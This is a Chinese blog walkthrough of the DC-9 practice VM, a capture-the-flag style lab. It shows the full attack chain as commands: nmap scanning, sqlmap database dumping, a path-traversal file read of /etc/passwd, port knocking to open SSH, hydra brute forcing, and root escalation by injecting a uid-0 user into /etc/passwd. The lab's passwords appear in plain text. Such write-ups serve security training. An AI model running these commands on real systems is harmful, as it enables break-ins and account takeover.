DC系列靶场---DC 9靶场的渗透测试

信息收集

地址探测

使用arp-scan 对目标主机做地址探测

arp-scan -l -I eth0

目标主机IP地址为172.30,1,134

端口扫描

使用nmap对目标主机做端口扫描

nmap -sS -sV -T4 -p- -O 172.30.1.134

目标主机开放了80端口,但是22端口是过滤。这个22端口应该是关闭的,只是要有一定的条件才可以开启。。

-sS  nmap的SYN扫描,又叫秘密扫描,是nmap的默认扫描

-sV  对服务版本做检测

-T4  野蛮的扫描(常用)

-p-  对所有端口进行扫描

-O  对服务器版本做检测

http探测

访问目标主机web

这里是不是看着很像Drupal,典型的障眼法。

找找网站看看有没有交互式的地方。

这里有个用户信息,这个信息肯定有用

还有个搜索表单,这种表单非常容易受到SQL注入的攻击。

还有个登录地址,但是现在还不知道用户名和密码。

我们复制捕获的请求并将其粘贴到一个文本文件中,并将其命名为DC9.txt。我们这样做是为了将捕获的请求与sqlmap一起使用。现在,我们将启动sqlmap来检查搜索表单是否容易受到SQL注入的攻击。

漏洞查找及利用

SQL注入

对保存的文本文件进行SQL注入攻击,爆破数据库

sqlmap -r DC9.txt --dbs

-r 指定Burpsuite保存的地址

获取数据库中的所有记录

sqlmap -r DC9.txt -D Staff --dumap-all

--dump—all //获取数据库的所有记录

这里不知道咋回事,显示了明文密码,可能是破解过的原因吧

看一下这个密码是什么加密方式,这是一个交互式的。

hash-identifier

MD5报文摘要算法加密的

MD5破解

免费破解MD5网站

破解到密码为:transorbital1

登录后台

用户名admin,密码transorbital1

以管理员什么登录

提醒文件不存在。这意味着页脚中必须包含一个文件,但该文件现在丢失或放错位置了。我们知道,在有include函数的地方,我们有可能找到一个LFI漏洞

尝试使用传参查看账户文件

172.30.1.134/welcome.php?file=../../../../etc/passwd

发现确实存在文件包含漏洞

端口敲门

这是我们偶然发现的knockd.conf。这意味着涉及到端口敲门。我们可以看到在这里用一个序列配置了openSSH。我们注意到这个序列,并按此序列敲打SSH端口,以启动并运行它。 这个想法非常安全。

172.30.1.134/welcome.php?file=../../../../etc/knockd.conf

需要分别7469,8475,9842这个三个端口。说白了就是审讯这个三个,让22端口来就他们。

nc -z 172.30.1.134 7469 8475 9842

nmap -p22 172.30.1.134

这个直接使用nc -z 敲打一下这个三个端口。

再次扫描发现果然这小子open了。

SSH爆破

首先尝试了admin这个用户进行ssh登录发现登不上。

那这个时候我们想到在进行sql注入攻击的时候,还发现了一个users的数据库

sqlmap -u "http://172.30.1.134/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1'-D 'users' --dump

看到有一大串用户名个密码,我们将用户名分别放到一个文本文件中,

使用hydra进行ssh爆破

hydra -L user.txt -P passwd.txt ssh:172.30.1.134

User:janitor  passwd:Ilovepeepee

janitor用户

登录到janitor用户

这里全是隐藏文件和目录所以需要ls-la查看

这里我们看到一个password文件,打开之后看到好多个秘密,我把密码放到我们的passwd文件中。

再进行ssh暴力破解

hydra -L user.txt -P passwd.txt ssh:172.30.1.134

又多了一个用户,login: fredf   password: B4-Tru3-001

Fredf用户

登录到fredf用户

sudo -l

这里有个Linux安全的小技巧

我们使用ssh登录的这几个用户都采用了这个方法

.bash_history -> /dev/null 这里的意思就是把历史命令重定向到垃圾桶了。

只要用户一注销历史命令也跟着消失。

提权

脚本提权

发现这里有个脚本文件可以无密码以root用户权限执行,我们进入/opt/devstuff/dist/test目录下先看看有什么信息,全是文件,回到上一个目录查看,也没什么,再回到上一个目录查看,在/opt/devstuff目录下发现了一个test.py脚本文件

查看脚本的内容

cat test.py

这是一个写入文件的脚本,生成一个密码用root权限执行脚本写入/etc/passwd文件,所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限,事先参考/etc/passwd解释

openssl passwd -1 -salt xiaoxiao 123456

echo 'xiaoxiao:MD5(密码):0:0::/root:bin/bash' > /tmp/xiao

sudo /opt/devstuff/dist/test/test /tmp/xiao /etc/passwd

先利用openssl命令创建一个密码,得到hash密码我们切换到tmp目录下,新建一个文件再回到/opt/devstuff/dist/test目录,执行程序test,将xiao的文件内容写入到/etc/passwd文件里面可以看到xiaofeixia用户已经添加到/etc/passwd文件里了,接下来然后使用命令su - xiao切换到我们添加的xiao用户,输入之前设置好密码即可登录

切换到root工作目录,得到flag。

cd /root

ls

cat theflag.txt

总结

1、扫描到22端口被过滤、网站主页很像Drupal,这个两个其实是个障眼法。

2、网站中的搜索表单容易受到SQL注入攻击,碰到这种表单可以试一下SQL注入。

3、通过Sqlmap爆破到密码,要了解加密方式再进行破解。

4、DC9也存在文件包含漏洞,依然是根据网站页脚判断。

5、knockd.conf这个文件是端口敲门的配置文件。要访问三个端口使22端口打开。

6、拿到shell后如果什么文件也没有,那就有可能是隐藏文件。

7、软连接历史命令重定向到垃圾桶,这个历史命令也是信息收集的一项。

8、最重要的还是信息收集,收集用户下的敏感文件,很可能里面就存在密码。

9、生成一个密码用root权限执行脚本写passwd文件,要构造一个拥有root权限的用户。要了解passwd的格式。

  • 13
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白帽子二三

您的鼓励是我最大的前进动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值